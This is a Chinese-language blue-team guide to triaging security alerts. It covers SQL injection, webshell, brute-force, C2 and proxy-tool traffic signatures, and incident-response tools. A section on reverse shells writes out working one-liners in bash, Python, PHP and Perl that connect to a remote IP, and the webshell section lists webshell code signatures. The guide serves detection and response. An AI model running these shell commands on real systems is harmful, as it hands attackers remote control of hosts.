注:部分内容取自网络,已标注相关参考链接。
红队视角下的攻击
红队攻击流程
1.信息收集 IT资产信息、敏感信息、供应链信息、组织架构信息
2.外网打点 社工钓鱼 - 邮件钓鱼、微信钓鱼、客服/维护、水坑攻击、社工近源 漏洞利用 - 传统漏洞攻击、0day/Nday
3.内网横向 信息获取、漏洞利用、网络通路、靶标获取
红队攻击手法
1.分工明确:高、专、精 。外网打点、内网攻击、社工钓鱼、供应链攻击、代码审计、报告撰写
2.统一、集成化武器库:工具指纹修改、工具免杀处理、0Day/NDay储备、一键利用漏洞攻击
3.规避蓝队溯源:虚拟机攻击、IP代理池、自动识别蜜罐、CDN域前置等
4.攻击时间段:每天04:00-08:00 并不一定是红队最疲乏的攻击时间段
5.核心关键隧道:CS替换默认证书、替换请求路径、域前置、云函数
6.重点攻击对象:人事(人事->领导->运维) 大鱼钓小鱼 「运维终端、集权设备、网络通路」
攻击方作业特点
攻击方得分点
1.获取权限
2.突破边界网络
3.获取目标系统权限
4.重要数据
5.其他: 发现历史攻击事件
安全威胁事件分析
攻击者意图分析
通过手动或脚本、漏扫工具等探测Web页面,通过返回信息寻找薄弱点进行漏洞利用
常见的告警类型
Sql注入、Webshell上传、Webshell访问、跨站脚本攻击、中间件漏洞攻击、反序列化漏洞、 框架漏洞、扫描行为、代码执行等等
威胁告警分析思路
1.优先排查告警成功且安全等级高的告警
2.优先排查请求响应成功的攻击「返回值为200」
3.通过原地址或目的地址作为筛选条件,若是在短时间内某个地址发起大量攻击行为,多为异常安全事件,恶意攻击 发生概率较高。
4.查看攻击的详细页面,通过请求内容判断攻击行为,通过返回内容的字段进行分析研判是否攻击成功。
5.从内到外的攻击更需重点关注、分析处理,可能是内网失陷机器对外发起攻击。(如有拿不准的告警可尝试问下AI或者其他同事)
攻击行为判断
SQL注入
判断是否为攻击行为:
1.在请求数据中判断是否包括人为构造的sql语句
2.判断请求数据中的sql语句是否为正常业务常用语句
3.若攻击类型为布尔盲注,在请求数据中会存在探试数据库类型、数据库库名、表名、字段、字符长度的特征, 以及试探数据库类型是会用到敏感数据库名,例如“information_schema.tables”“msysobjects”“sysobjects”
4.若攻击类型为联合注入,在请求数据中会出现如“union select” 的联合查询特征
5.若攻击类型为报错注入,在请求数据中会出现“rand(0)”“ updatexml()”“exp()”“floor()”“group by”等攻击特征、
6.若攻击类型为延时注入,在请求数据中会出现 “sleep()”“benchmarkI()”的攻击特征
判断是否攻击成功: 查看响应数据中返回的响应状态及响应内容,与正常页面访问时返回的数据机械能对比,分析数据返回包总是否泄露 数据数据、对攻击者的攻击语句进行分析,对告警量最大的SQL语句重点关注。【在可授权的情况下使用SQLMAP对 参数进行测试确定是否存在注入漏洞】
误报情况: 有时间规律、高频率触发安全告警且攻击数据量方向为内到内的无敏感sql攻击字段的日志多为误报。
Webshell上传
判断是否为攻击行为:
- 请求数据汇总多会存在 filename、 xx.txt.php ,着重检查文件上传行为中 文件名是否包含非允许的文件格式 【比如 php、asp、aspx、ashx、jsp等】
- 结合请求内容,分析写入文件的内容是否含有webshell代码特征。
ASP代码特征: Execute(request execute request( eval request(
PHP代码特征:<?php eval($_POST[ <?php system($_REQUEST[
ASPX木马特征: <%@ import Namespace=””%> <%@ Assembly Name=””%>
判断是否攻击成功: 1.结合响应状态与相应内容,判断后门文件是否上传成功 2.查看后续告警是否出现webshell访问成功实践
主机感染挖矿/僵木蠕
攻击者通过各种手段将挖矿程序植入受害者的计算机中,在受害者不知情的情况下利用其计算机的云算力进行挖矿,从而获取利益。同时被感染木马主机会通过漏洞利用等手段进行横向传播,由于挖矿程序会占用大量系统资源,容易导致Cpu温度过高、终端无法正常工作、服务器瘫痪等问题。
监测分析方法:
1.查询受害主机请求的域名(requestDomain)或IP的威胁报,判断其是否为恶意域名或恶意P。
2.分析请求报文是否含有挖矿病毒或勒索病毒通信特征.
3.观察主机的异常行为周期是否疑似感染病毒。
4.根据威胁情报查找病毒家族,获取更多病毒信息
5.确认内网感染该病毒主机的数量确认感染范围以及首次告警主机及时间
6.确认入侵方式,重点关注告警结果=成功的告警
7.是否存在横向扩散。查询相关主机告警是否存在横向扫描扩散行为,例如永恒之蓝扫描
暴力破解
攻击者意图初步分析: 攻击者通过密码宇典或随机组合密码的方式尝试登陆服务器(针对的是全网机器),利用服务认证缺陷,使用登录口令字典库进行高频率尝试从而获取服务权限。
常见告警: SSH暴力破解、Windows账号暴力破解、ftp暴力破解、web账号暴力破解、SMB账号暴力破解、Mysql账号暴力破解
攻击行为判断: 短时间内存在大量尝试登录的行为
判断是否成功攻击: 查看近期登录日志,判断是否成功登录
注意事项:
1.ssh、rdp、smb协议认证是加密传输的,因此这一类判断是否攻击成功,需要结合查看系统登录日志是否存在登录成功日志来判断
2.关注攻击源是内部还是外部,如果是外部攻击,建议在服务器端查看系统日志,有没有异常登陆成功情况,提醒用户注意密码强度,及时更换密码,如果是内部攻击内部或外部,需要考虑是不是有主机感染病毒失陷的情况;
3.针对暴力破解成功的告警首要工作验证用户破解的账户的真实性,若验证成功且确认为非授权访问则进行下阶段告警处置操作。
主机漏洞
常见告警:检测到主机存在永恒之蓝漏洞、ms17010永恒之蓝漏洞攻击 可在请求数据中分析如下该漏洞利用过程:
1.首先攻击机向靶机发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报,并列出攻击机所支持的SMB协议版本。
2.服务器响应一个SMB的Negotiate Protocol Response(协商协议响应)数据报;(如果无可使用的协议版本则返回OXFFFFH,结束通信)
3.攻击机向靶机 (Windows 2008 R2) 发起个Session setup X request (会话设置请求)数据报,会话的用户身份为:anonymous (匿名用户)
4.靶机确认身份后发送一个Session Setup × Response(会话设置响应) 数据报同意本次连接。
5.协商和认证成功之后,攻击机向靶机发送一个Tree Connect AndX Request (树连接和请求)数据报,列出要访问的网络资源的名称(居名管道共享)
6.服务器会发送—个Tree Connect Andx Response (树连接和响应)数据报,同意访问资源,并列出访问者的权限
7.连接到相应资源后,进行正常的网络共享访问 SMB客户端通过:open SMB、read SMB、write SMB、close SMB实现打开、读取、写入、关闭共享文件。
常见的攻击特征
代理工具
较为常见的代理工具有 FRP、NPS、Neo-reGeorg、Venom
(1) Frp
1.客户端->服务端认证信息包含version,hostname,os,arch,user,privilege_key,runid,metas等frp信息
2.服务端->客户端认证信息包含version,run_id,server_udp_port等frp信息
3.可以看到攻击者vps-ip、出口ip、和被用作穿透的内网机器计算机名
1.首先,Frp 会使用自定义协议进行通信,其默认端口为7000,该端口在流量中是可以被识别出来的。
2.Frp 在启动时,会在流量中进行特定的标识,例如会发送“frps”或“frpc”字符串,用于标识是服务端还是客户端。
3.Frp 会使用心跳包来维持与服务器之间的连接,心跳包的特征是由两个字节的包头和固定长度的包体组成。
4.在正常使用过程中,Frp 会产生大量的 TCP 连接,每个连接都对应着一个隧道,通过观察连接的建立和断开可以推断出 Frp 是否正在被使用。
连接过程中,如果没有进行加密的情况下可以看到连接的主机名称,以及相关ini配置文件的内容。流量中一般会有受害主机的IP地址等。frpc 在连接认证 frps 的时候,会进行三次握手,会把 Frp 的版本信息发给 frps 进行认证,如果是用的一个没有改过的Frp 那么这时候只要建立连接,很容易就会被安全设备捕获到。
一般流量中带有Version、Arch、User、Privilege_key等字段。
小结:
1.客户端回向服务端发送包含 version,hostname,os,arch,user,privilege_key,runid,metas 的json数据
2.服务端回发送 包含 version,run_id,server_udp_port 的json数据
(2) Nps
追踪TCP数据流 可发现 存在 sucs 的特征字段
客户端向服务端发起的请求信息,其中包含TST的标志性的字符串,客户端大致版本和客户端具体的版本号
服务端会向客户端返回 md5加密的版本号
小结:
1.流量中存在 TST、sucs、main 字段
2.客户端向服务端发起的请求信息 会包含TST及版本号,服务端向客户端发送md5加密的版本号
3.认证成功后,服务端向客户端发送sucs,客户端发送main
(3)Neo-reGeorg
在浏览器html中存在一段注释的字符串
(4)Vemon
流量中包含 “ABCDEFGH”、”VCMD” 字段特征
Webshell
较为常见的是蚁剑、哥斯拉、冰蝎
1.蚁剑
(1) 默认的User-Agent请求头:蚁剑的默认User-Agent请求头通常为“antsword xxx”,但这个值是可以修改的。
(2) 请求体特征:PHP类WebShell流量请求体通常都以@ini_set(“display_errors”,”0”);@set_time_limit(0)开头
(3) Webshell静态与动态特征:
在使用蚁剑上传和管理Webshell时,不同的脚本语言(如PHP、ASP、JSP)会展现出不同的静态特征。例如,PHP中可能使用assert、eval执行代码,而ASP则主要依赖eval执行。
动态特征方面,通过上传Webshell并抓包分析,可以发现每个请求体都包含特定的代码片段(如上述的@ini_set等),并且响应体通常会进行base64编码混淆,解码后,可以观察到攻击行为的payload。
(4) 加密与混淆:蚁剑使用了AES加密,同时采用二进制协议通信,在混淆加密后,参数名大多以“_0x…..=”的形式出现,其中“_0x”后面的部分通常是加密后的数据。
(5) URL加密:蚁剑的正文内容通常使用URL加密,解密后的流量中,上述的@ini_set(“display_errors”,”0”)等特征会更为明显
2.冰蝎
(1) appect :Acceptlaoolication/json text/javascript /;q=0.01
(2) content-length 有规律 每次+1【连接的端口有一定的特征,冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。】
(3) user-agent :同一个IP请求 UA会不断变化
(4) aes 加密 + base64 编码
3.哥斯拉
(1) Webshell特征:使用eval和base64编码。eval函数用于执行传递的攻击payload,而base64编码则用于混淆和隐藏数据。
(2) 请求包特征:
①请求包通常以“pass=”为起始,这是一个用于传递认证信息的常见参数;
②哥斯拉的请求包通常较长,而响应包长度可能为0;
③在一个TCP包中可能包含三个HTTP请求
④User-Agent字段在默认情况下类似于“Java/1.8.0_121”,具体版本取决于JDK环境版本
⑤Cookie字段中存在一个关键的特征,即最后一个Cookie值的末尾有一个不必要的分号,在标准的HTTP请求中,最后一个Cookie的值后面不应该出现分号
(3) 响应包特征:哥斯拉的响应包具有特定的结构特征,即整个响应包的结构体征为:md5前十六位+base64+md5后十六位
强特征:
- cookie字段 值最后有一个分号。
- paylod特征:jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马。
- ⼀个 tcp 包中有三个 http
C2流量特征
常见的C2(Command and Control) 主要包括 CobaltStrike、Meterpreter
1.CobaltStrike流量特征
(1) DNS请求异常:DNS隧道技术来传输数据,在DNS请求中,域名可能以特定前缀开头(如“cdn.”、“www6.”、“api.”等),查询结果可能包含非常规的IP地址,这些地址用于指令传输或心跳检测。
(2) 心跳包特征:CobaltStrike通过发送心跳包来保持与被控端的通信。这些心跳包可能是定期发送的,默认间隔通常为60秒,用于确认被控端的在线状态。
(3)源码特征:在流量中通过http协议的url路径,经过checksum8解密算法计算后,32位的后门的结果是92L,而64位的后门的结果是93L
2,Metasploit 流量特征
(1) 端口号:msf数据库默认使用的postgresql的端口可能是5432,msf默认使用4444端口作为反向连接端口
(2) 数据内容:msf数据包通常包含特定字符串”meterpreter”、”revshell”等
(3) 特殊协议:MSF 框架通常会使用一些特殊的协议,例如 Meterpreter、Reverse TCP 等
应急响应排查处置
常用工具
Windows工具
PCHunter:http://www.xuetr.com
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe (绿色版、最新病毒库)
火绒安全软件:https://www.huorong.cn
360杀毒:http://sd.360.cn/download_center.html
Hawkeye https://github.com/mir1ce/Hawkeye 一款GUI Windows应急工具【未开源 自行谨慎使用】
Linux 工具
Linuxcheckshoot https://github.com/sun977/linuxcheckshoot
LinuxScan https://github.com/zero-typora/LinuxScan
Ashro_linux https://github.com/Ashro-one/Ashro_linux/blob/main/Ashro_linux.sh
必要时可自行更改代码功能
在线网站
微步在线威胁情报社区:https://x.threatbook.cn
微步云沙箱:https://s.threatbook.com/
Virustotal:https://www.virustotal.com
Virscan:http://www.virscan.org
腾讯哈勃分析系统:https://habo.qq.com
AnyRun:https://any.run/
D盾_Web查杀:http://www.d99net.net/index.asp
河马 WebShell 查杀:http://www.shellpub.com
应急排查思路
Windows
1.检查系统账号安全
2.检查异常进程和端口
3.检查系统启动项、计划任务、服务
4.常见可疑目录文件
5.本地查杀
6.日志分析
Linux
1.检查系统账号安全
2.History历史命令
3.监测异常进程和端口
4.开机启动项
5.计划任务
6.日志分析
常见研判经验
告警分析类型:
1.业务误报:
原因:由于开发代码不规范或防护设备拦截策略问题引起的误报。
特点:大量请求,处罚漏洞类型类似,触发事件有一定规律。
2.扫描器请求
原因:僵尸网络批量全网扫描引发的攻击流量告警,或扫描器引发的无意义的漏洞。
特点:大量请求、攻击频率高、攻击请求与实际环境有违背、攻击特征比较明显。
3.告警真实攻击
原因:由真实攻击者引发的攻击告警。
特点:攻击频率较低,攻击请求与实际环境相结合,攻击请求偏深度利用。
4.灰色软件告警
原因:办公终端从第三方网站下载盗版软件。
特点:请求灰色域名,例如 鲁大师、发票网站、壁纸软件、盗版Chrome、搜狗输入法等。
部分告警分析思路
宏病毒分析
在日常监测过程中,经常会在探海或全流量设备中 产生 恶意木马的相关告警。主要由于内统一模版文档中含义部分可疑命令的宏脚本,在发邮件或下载文档时尝尝会被安全设备记录为恶意木马,这些都需要在监测过程中进行研判处置。
宏(英文Macro),广义上的定义是:宏就是把一系列的指令组织成一独立的命令,类似C语言中#define宏定义,避免同一动作的一再重复;狭义上,宏特指office系列办公软件中的宏,Microsoft Office中对宏的定义为“宏就是能够组织在一起的,可以作为一个独立命令来执行的一系列Word 命令,它能使日常工作变得容易。”本文中提到的宏,采用了狭义的定义,即office办公软件中的宏。
使用office打开文档文件(demo1.doc)时,有时候我们会遇到如下图所示的“安全警告”,这说明该文档文件中含有宏,并且office软件设置了“宏禁用”功能。
oledump
oledump.py 是一个用于分析OLE文件 的工具
工具地址: https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py
反弹shell
nc -lvvp 7777
bash -i >& /dev/tcp/192.168.7.61/7777 0>&1
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.7.61”,7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’
php -r ‘$sock=fsockopen(“192.168.7.61”,7777);exec(“/bin/bash -i <&3 >&3 2>&3”);’
perl -e ‘use Socket;$i=”192.168.7.61”;$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
反弹shell的本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向 标准输出(1)和错误输出(2)到socket
1.判断告警的真实性
判断反弹shell告警是否是误报。从反弹shell的反连地址做一个简单的判断,如果反连地址是不是公司的白名单或者有业务往来的地址,那么大概率该条告警是真实的。
2.确认入侵点
攻击者能够执行反弹shell操作,说明已经了系统的权限或者系统中存在RCE漏洞【web(rce\文件上传\文件包含…)、数据库(mysql\mssql\redis)、系统应用(ssh\内核漏洞…)】,我们需要第一时间找点该风险点及时修复,防止下次入侵。
发现相关告警时可通过告警信息获取攻击时间、进程信息、连接地址等信息。
3.反弹shell排查思路
(1)确认入侵时间以及上传文件内容
通过反弹shell的时间 判断攻击者攻击的大体范围,并根据此时间进行范围进行溯源分析、追踪攻击者的攻击路径。
(2)日志分析
对访问网站/服务器的Web日志和系统日志进行分析,重点关注已知的入侵时间前后的日志记录,从而寻找攻击者的攻击路径,以及所利用的漏洞。
(3)找到失陷点
根据日志分析过程中发现的问题,找到网站/服务器中存在的漏洞进行分析。
(4)漏洞复现
对存在的漏洞进行复现,还原攻击者的攻击路径。
外联恶意域名
在日常监测过程中,经常会遇到非法外联、僵尸网络这样的情况,在排出的时候却无从下手,不知该如何进行分析。在设备上看到了外联的DNS请求通过进程,网络连接情况等,却又找不到问题点,一时无从下手,最终在努力下找到了入手点,借此在这里进行分享希望对遇到相同问题的有所帮助。
面对恶意域名请求解析这样的问题,可以按照以下思路进行排查:
(1).这个恶意请求是否是正常行为;
(2).是什么程序发起了域名解析请求;
(3).我在进程中该如何定位这个程序;
(4).我该如何定位到这个程序的PID已经附属进场;
(5).是否有启动项和计划任务。
Windows下 可使用以下几种工具去定位可疑进程程序。
1.DNSLookUpView (适用高于win8版本的windows机器)
下载地址:https://www.nirsoft.net/utils/dnslookupview.zip
可根据对应dns请求 定位到进程PID 再进一步去找到对应进程的文件位置
2.sysmon + dnsquerysniffer
sysmon下载地址:https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
dnsquerysniffer下载地址:
首先安装 sysmon (适用于xp外的大多版本 )
安装后打开 dnsquerysniffer 观察此主机请求恶意域名的情况。
等待监控到请求恶意域名的情况,当检测到请求的恶意域名后可通过日志查看器查看sysmon的日志 以定位到恶意木马文件
右键点击此电脑—>管理—>事件查看器—>应用程序和服务日志—>Microsoft—>Windows—>Sysmon—>Operational。
或者 winkey+r 调出“运行框”,输入eventvwr.msc 进入“事件查看器”
筛选事件ID为22的日志,之后查找日志内容中有关键字:xred.mooo.com的日志。
选中日志双击就可以打开日志的详细信息,查看到是 2025-02-07 10:27:13 的时候程序 C:\ProgramData\Synaptics\Synaptics.exe 请求的域名:xred.mooo.com
对于计划任务和自启动项可通过火绒剑、AutoRuns此类工具进行排查,亦可手动排查 任务计划程序、自启动注册表项等